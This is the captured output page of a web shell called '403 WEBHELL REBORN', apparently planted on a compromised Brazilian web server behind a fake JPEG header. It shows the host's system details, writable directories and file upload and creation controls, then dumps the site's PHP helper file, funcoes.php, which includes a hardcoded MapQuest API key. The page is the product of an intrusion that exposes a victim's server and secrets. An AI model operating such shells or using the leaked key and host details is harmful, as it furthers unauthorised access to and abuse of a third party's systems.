ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/farolpborg/public_html/_ui/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /home/farolpborg/public_html/_ui/funcoes.php
<?
function anti_injection($conecta, $sql){
    $sql = stripslashes($sql);
    $sql = strip_tags($sql);
    $sql = trim($sql);
    $sql = mysqli_real_escape_string($conecta, $sql);
    return $sql;
}

function checar_vazio($variavel, $variavel2){
    if(empty($variavel)){
        return $variavel2;
	} else {
		return $variavel;
	}
}

function checar_vazio2($variavel, $html){
    if(!empty($variavel)){
        return $variavel.$html;
	} else {
		return false;
	}
}

function checar_base($url_base, $url_db){
    if(strpos($url_base, './') !== false){
        return str_replace('./',$url_db.'/',$url_base);
	} else {
		return $url_base;
	}
}

function checar_zero($variavel, $variavel2){
    if($variavel == 0){
        return $variavel2;
	} else {
		return $variavel;
	}
}

function checar_vazio_img($variavel, $variavel2, $variavel3){
    if(!empty($variavel)){
        return $variavel2;
	} else {
		return $variavel3;
	}
}

function ultima_parte($url){
    $end = rtrim($url, '/');
    return basename($end);
}

function getBrowser(){ 
//    $u_agent = $_SERVER['HTTP_USER_AGENT']; 
    $u_agent = getenv('HTTP_USER_AGENT');
    $bname = 'Unknown';
    $platform = 'Unknown';
    $version= "";

    //First get the platform?
    if (preg_match('/linux/i', $u_agent)){
        $platform = 'Linux';
    } elseif(preg_match('/macintosh|mac os x/i', $u_agent)){
        $platform = 'macOS';
    } elseif(preg_match('/windows|win32/i', $u_agent)){
//        $platform = 'Windows';
    }

    // Next get the name of the useragent yes seperately and for good reason
    if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent)){ 
        $bname = 'Internet Explorer'; 
        $ub = "IE"; 
    } elseif(preg_match('/Firefox/i',$u_agent)){ 
        $bname = 'Mozilla Firefox'; 
        $ub = "Firefox"; 
    } elseif(preg_match('/OPR/i',$u_agent)){ 
        $bname = 'Opera'; 
        $ub = "Opera"; 
    } elseif(preg_match('/Chrome/i',$u_agent)){ 
        $bname = 'Google Chrome'; 
        $ub = "Chrome"; 
    } elseif(preg_match('/Safari/i',$u_agent)){ 
        $bname = 'Apple Safari'; 
        $ub = "Safari"; 
    } elseif(preg_match('/Netscape/i',$u_agent)){ 
        $bname = 'Netscape'; 
        $ub = "Netscape"; 
    } 

    // finally get the correct version number
    $known = array('Version', $ub, 'other');
    $pattern = '#(?<browser>' . join('|', $known) .
    ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';
    if (!preg_match_all($pattern, $u_agent, $matches)) {
        // we have no matching number just continue
    }

    // see how many we have
    $i = count($matches['browser']);
    if ($i != 1) {
        //we will have two since we are not using 'other' argument yet
        //see if version is before or after the name
        if (strripos($u_agent,"Version") < strripos($u_agent,$ub)){
            $version= $matches['version'][0];
        }
        else {
            $version= $matches['version'][1];
        }
    } else {
        $version= $matches['version'][0];
    }

    // check if we have a number
    if ($version==null || $version=="") {$version="?";}

    return array(
        'userAgent' => $u_agent,
        'name'      => $bname,
        'version'   => $version,
        'platform'  => $platform,
        'pattern'   => $pattern
    );
} 

function gerar_caracteres($tamanho = 12, $maiusculas = false, $numeros = true){
	$lmin          = 'abcdefghijklmnopqrstuvwxyz';
	$lmai          = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
	$nums          = '1234567890';
	$retorno       = '';
	$caracteres    = '';
	$caracteres    .= $lmin;
	if($maiusculas){
        $caracteres .= $lmai;
    }
	if($numeros){
        $caracteres .= $nums;
    }
	$len = strlen($caracteres);
	for($n = 1; $n <= $tamanho; $n++){
		$rand = mt_rand(1, $len);
		$retorno .= $caracteres[$rand-1];
	}
	return $retorno;
} 

function gerar_caracteres2($tamanho = 7, $maiusculas = false, $numeros = false){
	$lmin          = 'abcdefghijklmnopqrstuvwxyz';
	$lmai          = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
	$nums          = '1234567890';
	$retorno       = '';
	$caracteres    = '';
	$caracteres    .= $lmin;
	if($maiusculas){
        $caracteres .= $lmai;
    }
	if($numeros){
        $caracteres .= $nums;
    }
	$len = strlen($caracteres);
	for($n = 1; $n <= $tamanho; $n++){
		$rand = mt_rand(1, $len);
		$retorno .= $caracteres[$rand-1];
	}
	return $retorno;
}

function gerar_caracteres3(){
    $min = 1;
    $max = 999;
    return mt_rand($min, $max);
}

function limita_texto($texto, $qtd){
	if(strlen($texto) > $qtd){
		$texto = substr($texto, 0, $qtd)."...";
	} else { 
		$texto = $texto;
	}
	return stripslashes(strip_tags($texto));
}

function nome_equipe($legenda){
    $lege = $legenda;
    $ppar = substr($lege, 0, strpos($lege, ' ', strpos($lege, ' ')+1));
    $spar = explode( ' - ', $lege);
    return '<h3 title="'.$lege.'">'.$ppar.'</h3><p>'.$spar[1].'</p>';
}

function imgtobase64($path){
    $type = pathinfo($path, PATHINFO_EXTENSION);
    $data = file_get_contents($path);
    $base64 = 'data:image/' . $type . ';base64,' . base64_encode($data);
    return $base64;
}

function remove_acentos($string){
    $string = strtolower(strtr(utf8_decode($string), 
    utf8_decode(
        'ŠŒŽšœžŸ¥µÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýÿ'), 'SOZsozYYuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy'
    ));
    
    $string = str_replace('!','',$string);
    $string = str_replace('?','',$string);
    $string = str_replace('...','',$string);
    $string = str_replace('&','e',$string);
    $string = str_replace(' ','-',$string);
    $string = str_replace('--','-',$string);
    $string = str_replace('---','-',$string);
    $string = str_replace(' - ','-',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace('/','-',$string);
    $string = str_replace('@','a',$string);
    
    $string = preg_replace('/[<>()!#$%\^=+~`*"\'¡:;|¤¢£¥¦§¨©ª«¬­®\.,¯°±²³´µ¶·¸¹º»¼½¾¿×÷]/', '', $string);
    
    return $string;
}

function remove_acentos2($string){
    $string = str_replace('(','',$string);
	$string = str_replace(') 9','',$string);      
	$string = str_replace('-','',$string);    
	return $string;
}

function remove_acentos3($string){
    $string = strtolower(strtr(utf8_decode($string), 
    utf8_decode(
        'ŠŒŽšœžŸ¥µÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýÿ'), 'SOZsozYYuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy'
    ));
    
    $string = str_replace('!','',$string);
    $string = str_replace('?','',$string);
    $string = str_replace('...','',$string);
    $string = str_replace('&','e',$string);
    $string = str_replace(' ','+',$string);
    $string = str_replace('--','+',$string);
    $string = str_replace('---','+',$string);
    $string = str_replace(' - ','+',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace('/','+',$string);
    $string = str_replace('@','a',$string);
    
    $string = preg_replace('/[<>()!#$%\^=+~`*"\'¡:;|¤¢£¥¦§¨©ª«¬­®\.,¯°±²³´µ¶·¸¹º»¼½¾¿×÷]/', '+', $string);
    
    return $string;
}

function remove_spaces($html) {
    return preg_replace('/<p>\s*(<br\s*\/?>|\s)*<\/p>/', '', $html);
}

function remove_p($string){
    $string = str_replace(['<p>', '</p>'], '', $string);
    return $string;
}

function sem_esse($qtd, $palavra){
    $esses = array('as','es','os');
    $letras = array('a','e','o');
    if($qtd == 1){
        $palavra = str_replace($esses, $letras, $palavra);
    } else { 
        $palavra = $palavra;
    }
    return $qtd.' '.$palavra;
}

function sem_esse2($qtd, $palavra){
    $esses = array('as','es','os');
    $letras = array('a','e','o');
    if($qtd == 1){
        $palavra = str_replace($esses, $letras, $palavra);
    } else { 
        $palavra = $palavra;
    }
    return $palavra;
}

function sem_esse3($palavra){
    $esses = array('as','es','os');
    $letras = array('a','e','o');
    $palavra = str_replace($esses, $letras, $palavra);
    return $palavra;
}

function menos_por_mais($string){
	$string = str_replace('-', '+', $string);
	return $string;
}

function espaco_por_mais($string){
	$string = str_replace(' ', '+', $string);
	return $string;
}

function traco_por_espaco($string){
	$string = str_replace('-', ' ', $string);
	return ucfirst($string);
}

function espaco_por_traco($string){
	$string = str_replace(' ', '-', $string);
	return $string;
}

function formata_titulo($titulo){
    $titulo = explode(" ", $titulo);
    return $titulo[0].' <strong>'.substr(implode("", $titulo), strlen($titulo[0])).'</strong>';
}

function formata_titulo2($titulo){    
    $titpos = strrpos($titulo, " ");
    $restit = substr($titulo, 0, $titpos);
    $lastit = explode(" ", $titulo);
    return $restit.' <span>'.$lastit[count($lastit)-1].'</span>';
}

function formata_titulo3($titulo){    
    $titulo = explode(" ", $titulo);
    return '<strong>'.$titulo[0].'</strong> '.substr(implode("", $titulo), strlen($titulo[0]));
}

function last_part($url){
    $path = parse_url($url, PHP_URL_PATH);
    $pathFragments = explode('/', $path);
    $end = end($pathFragments);
    return $end;
}

function last_part2($titulo){    
    $titulo = explode(" ", $titulo);
    return substr(implode("", $titulo), strlen($titulo[0]));
}

function last_part3($text){    
    $last_space_position = strrpos($text, ' ');
    $text = substr($text, 0, $last_space_position);
    return $text;
}

function depois_barra($url){
    $end = substr($url, strrpos($url, '-' )+1);
    return $end;
}

function formatar_especifico($especifico){
    $espaco = str_replace('-', ' ', $especifico);
    $maiuscula = ucfirst($espaco);
    return $maiuscula;
}

function transforma_moeda($preco){
    $preco = number_format((float)$preco, 2, ',', '.');
    return $preco;
}

function formata_semana($strDate){
	$strDate = str_replace('-feira', '', $strDate);
	return $strDate;
}

function formata_semana2($strDate){
    $arrSem = array(0 => 'Domingo', 'Segunda-feira', 'Terça-feira', 'Quarta-feira', 'Quinta-feira', 'Sexta-feira', 'Sabado');
//    return $diasemana;
    return $arrSem[(int)$strDate];
}

function formata_ano($strDate){
	$intYear = date('Y',strtotime($strDate));
	return $intYear;
}

function formata_data($strDate){
	$intDayOfMonth = date('d',strtotime($strDate));
	$intMonthOfYear = date('m',strtotime($strDate));
	$intYear = date('Y',strtotime($strDate));
	return $intDayOfMonth . '/' . $intMonthOfYear . '/' . $intYear;
}

function formata_hora($strDate){
	$intHour = date('H',strtotime($strDate));
	$intMinute = date('i',strtotime($strDate));
	return $intHour . ':' . $intMinute . 'h';
}

function formata_data2($strDate){
	$arrMonthsOfYear = array(1 => 'Janeiro','Fevereiro','Março','Abril','Maio','Junho','Julho','Agosto','Setembro','Outubro','Novembro','Dezembro');
	$intDayOfMonth = date('d',strtotime($strDate));
	$intMonthOfYear = date('n',strtotime($strDate));
    $intYear = date('Y',strtotime($strDate));
	return '<time>' . $intDayOfMonth . ' de ' . strtolower($arrMonthsOfYear[$intMonthOfYear]) . ' de ' . $intYear . '</time>';
}

function formata_data3($strDate){
	$arrMonthsOfYear = array(1 => 'Janeiro','Fevereiro','Março','Abril','Maio','Junho','Julho','Agosto','Setembro','Outubro','Novembro','Dezembro');
	$intDayOfMonth = date('d',strtotime($strDate));
	$intMonthOfYear = date('n',strtotime($strDate));
    return '<h3>' . $intDayOfMonth . '</h3><p>' . substr($arrMonthsOfYear[$intMonthOfYear],0,3) . '</p>';
}

function formata_datahora($strDate){
	$intDayOfMonth = date('d',strtotime($strDate));
	$intMonthOfYear = date('m',strtotime($strDate));
	$intYear = date('Y',strtotime($strDate));
	$intHour = date('H:i',strtotime($strDate));
	return $intDayOfMonth . '/' . $intMonthOfYear . '/' . $intYear . ' às ' . $intHour;
}

function formata_datahora2($strDate){
	$arrMonthsOfYear = array(1 => 'Janeiro','Fevereiro','Março','Abril','Maio','Junho','Julho','Agosto','Setembro','Outubro','Novembro','Dezembro');
	$intDayOfMonth = date('d',strtotime($strDate));
	$intMonthOfYear = date('n',strtotime($strDate));
	$intYear = date('Y',strtotime($strDate));
	$intHour = date('H:i',strtotime($strDate));
	return $intDayOfMonth . ' de ' . strtolower($arrMonthsOfYear[$intMonthOfYear]) . ' de ' . $intYear . ' às ' . $intHour;
}

function saudacao(){
	$hora = date("H");
	if($hora >= 12 && $hora < 18){
		$resp = '<i class="far fa-rainbow"></i> Boa tarde';
	} elseif($hora >= 0 && $hora < 12){
		$resp = '<i class="far fa-sun"></i> Bom dia'; 
	} else {
		$resp = '<i class="far fa-moon"></i> Boa noite';
	}
	return $resp;
}

function lightness($hex){
    $hex = str_replace('#', '', $hex);
    $r = hexdec($hex[0].$hex[1]);
    $g = hexdec($hex[2].$hex[3]);
    $b = hexdec($hex[4].$hex[5]);
    
    if(((($r * 299) + ($g * 587) + ($b * 114)) / 1000) > 130){
        return 'color:#000';
    }
}

function clarear($hex){
    $hex = str_replace('#', '', $hex);
    $r = hexdec($hex[0].$hex[1]);
    $g = hexdec($hex[2].$hex[3]);
    $b = hexdec($hex[4].$hex[5]);
    return 'rgb(' . $r . ', ' . $g . ', ' . $b . ',0.05)';
}

function extrair_pills($tags){
    $tags = explode(',', $tags);
    foreach($tags as $tag){
//        $tag .= '<a href="'.$tag.'">'.$tag.'</a>';
        $tag .= remove_acentos($tag);
    }
    return implode(' ', $tags);
}

function extrair_tags($tags){
    $tags = explode(',', $tags);
    foreach($tags as $tag){
        $tag .= '<a href="'.$tag.'">'.$tag.'</a>';
    }
    return implode(', ', $tags);
}

function extrair_tags2($urltag,$arg){
    $tagss = '';
    if($arg == ''){
        return '';
    } else {
        $tags_arr = explode(',' , $arg);
//        asort($tags_arr);
        foreach($tags_arr as $tag){
//            $tags = '<a href="'.$urltag.'/tag/'.remove_acentos($tag) .'">'. $tag .'</a>, ';
            $tags = $tag;
            $tagss .= $tags;
        }
        return rtrim($tagss,', ');
    }
}

function url_xml_youtube($url){
	$urlvid = str_replace("https://www.youtube.com/channel/", "https://www.youtube.com/feeds/videos.xml?channel_id=", $url);
	return $urlvid;
}

function video_imagem($url){
    $url_imagem = parse_url($url);
    if($url_imagem['host'] == 'www.youtube.com' || $url_imagem['host'] == 'youtube.com'){
        $array = explode("&", $url_imagem['query']);
        return "http://img.youtube.com/vi/".substr($array[0], 2)."/0.jpg";
    } else if($url_imagem['host'] == 'www.youtu.be' || $url_imagem['host'] == 'youtu.be'){
        $array = explode("/", $url);
        $urlArray = count($array);
        $youtubeVideoId = $array[$urlArray - 1];
        return "http://img.youtube.com/vi/".$youtubeVideoId."/0.jpg";
    } else if($url_imagem['host'] == 'www.vimeo.com' || $url_imagem['host'] == 'vimeo.com'){
        $hash = unserialize(file_get_contents("http://vimeo.com/api/v2/video/".substr($url_imagem['path'], 1).".php"));
        return $hash[0]["thumbnail_small"];
    }
}

function video_imagem2($url,$qualidade){
    $final = explode('v=', $url);
    $getfi = end($final);
//	$url = explode('v=',$url[1]);
	/*$url = explode('&',$url[1]);*/
    if($qualidade == 'min'){
	   $urlvid = ('http://img.youtube.com/vi/' . $getfi . '/default.jpg');
    } else if($qualidade == 'hq'){
        $urlvid = ('http://img.youtube.com/vi/' . $getfi . '/hqdefault.jpg');
    } else if($qualidade == 'med'){
        $urlvid = ('http://img.youtube.com/vi/' . $getfi . '/mqdefault.jpg');
    } else if($qualidade == 'ed'){
        $urlvid = ('http://img.youtube.com/vi/' . $getfi . '/sddefault.jpg');
    } else if($qualidade == 'big'){
        $urlvid = ('http://img.youtube.com/vi/' . $getfi . '/maxresdefault.jpg');
    }
	return $urlvid;
}

function video_codigo($url){
    $url_imagem = parse_url($url);
    if($url_imagem['host'] == 'www.youtube.com' || $url_imagem['host'] == 'youtube.com'){
        $array = explode("&", $url_imagem['query']);
        return substr($array[0], 2);
    } else if($url_imagem['host'] == 'www.youtu.be' || $url_imagem['host'] == 'youtu.be'){
        $array = explode("/", $url);
        $urlArray = count($array);
        $youtubeVideoId = $array[$urlArray - 1];
        return $youtubeVideoId;
    } 
}

function tipo_video($url){
//    if(preg_match('/video\/*/',$_FILES[$url]['type'])){
    if(preg_match('/^.*\.(mp4|mov)$/i', $url)) {
        return $url;
    } else {
        if($url_imagem['host'] == 'www.youtube.com' || $url_imagem['host'] == 'youtube.com'){
            $array = explode("&", $url_imagem['query']);
            return substr($array[0], 2);
        } else if($url_imagem['host'] == 'www.youtu.be' || $url_imagem['host'] == 'youtu.be'){
            $array = explode("/", $url);
            $urlArray = count($array);
            $youtubeVideoId = $array[$urlArray - 1];
            return $youtubeVideoId;
        }         
    }
    $url_imagem = parse_url($url);
}

function url_xml_issuu($url){
//    http://search.issuu.com/revistaartestudio/docs/recent.rss
    $get = explode('/', $url);
    $end = end($get);
	return "http://search.issuu.com/".$end."/docs/recent.rss";
}

function formata_telefone($tel){
	$array_pre_numero = array ("9","8","7");
	$tel = trim($tel);
	$tel = str_replace("-", "", $tel);
	$tel = str_replace("(", "", $tel);
	$tel = str_replace(")", "", $tel);
	$tel = str_replace("_", "", $tel);
	$tel = str_replace(" ", "", $tel);
	$tamanho = strlen($tel);
	if($tamanho  > '10'){
		$telefone = $tel;
	}
	if($tamanho == '10'){
		$verificando_celular = substr($tel, 2, 1);
		if(in_array($verificando_celular, $array_pre_numero)){
			$telefone.= substr($tel, 0, 2);
			$telefone.= "9";
			$telefone.= substr($tel, 2);
		} else {
			$telefone = $tel;
		}
	}
	if($tamanho < '10'){
		$telefone = $tel;
	}
	$tel_exp = $tel;
	$pattern = '/(\d{2})(\d*)(\d{4})/';	
    $telefone_formatado = preg_replace($pattern, '($1) $2-$3', $tel_exp);	
	return $telefone_formatado;
}

function formata_whatsapp($tel){
	$array_pre_numero = array ("9","8","7");
	$tel = trim($tel);
	$tel = str_replace("-", "", $tel);
	$tel = str_replace("(", "", $tel);
	$tel = str_replace(")", "", $tel);
	$tel = str_replace("_", "", $tel);
	$tel = str_replace(" ", "", $tel);
	$tamanho = strlen($tel);
	if($tamanho  > '10'){
		$telefone = $tel;
	}
	if($tamanho == '10'){
		$verificando_celular = substr($tel, 2, 1);
		if(in_array($verificando_celular, $array_pre_numero)){
			$telefone.= substr($tel, 0, 2);
			$telefone.= "9";
			$telefone.= substr($tel, 2);
		} else {
			$telefone = $tel;
		}
	}
	if($tamanho < '10'){
		$telefone = $tel;
	}
	$tel_exp = $tel;
	$pattern = '/(\d{2})(\d*)(\d{4})/';	
    $telefone_formatado = preg_replace($pattern, '55$1$2$3', $tel_exp);	
	return $telefone_formatado;
}

function video_url($url){
	$url = str_replace('https://www.youtube.com/watch?v=', 'https://www.youtube.com/embed/', $url);
	$url = str_replace('http://www.youtube.com/watch?v=', 'http://www.youtube.com/embed/', $url);
    return $url;
}

function checar_extensao($filename){
   $filename = strtolower($filename) ;
   $exts = explode(".", $filename) ;
   $n = count($exts)-1;
   $exts = $exts[$n];
   return $exts;
}

function endereco_latitude_longitude($endereco) {
    $apiMapquest = '4XVB6AJ8AgwiBofBWng3rIfAjGXAhTSs';
    $json = file_get_contents("https://open.mapquestapi.com/geocoding/v1/address?key=".$apiMapquest."&location=".$endereco);
    $result = json_decode($json);
    // echo $result->results[0]->providedLocation->location; 
    $lat = $result->results[0]->locations[0]->latLng->lat;
    $lon = $result->results[0]->locations[0]->latLng->lng;
    
    return array($lat, $lon);
}

?>

Anon7 - 2021